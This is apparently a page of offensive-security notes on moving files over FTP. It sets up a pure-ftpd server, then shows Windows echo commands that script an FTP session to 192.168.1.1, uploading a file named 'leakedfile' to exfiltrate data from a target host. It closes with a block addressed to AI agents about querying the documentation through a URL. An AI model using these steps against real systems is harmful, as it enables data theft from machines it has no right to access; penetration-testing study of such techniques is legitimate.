# FTP

**setup-ftp.sh**

```
#!/bin/bash

sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd cel1s0 -u ftpuser -d /ftphome
sudo pure-pw mkdb
sudo cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd
```

```
$ sudo systemctl start pure-ftpd.service
```

```
echo open 192.168.1.1 21 > ftp.txt
echo USER cel1s0 >> ftp.txt
echo ftppass >> ftp.txt
echo bin >> ftp.txt
echo PUT leakedfile >> ftp.txt
echo bye >> ftp.txt

> ftp -v -n -s:ftp.txt
```

You can see the file at **/ftphome** dir.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/readme/file-download/ftp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
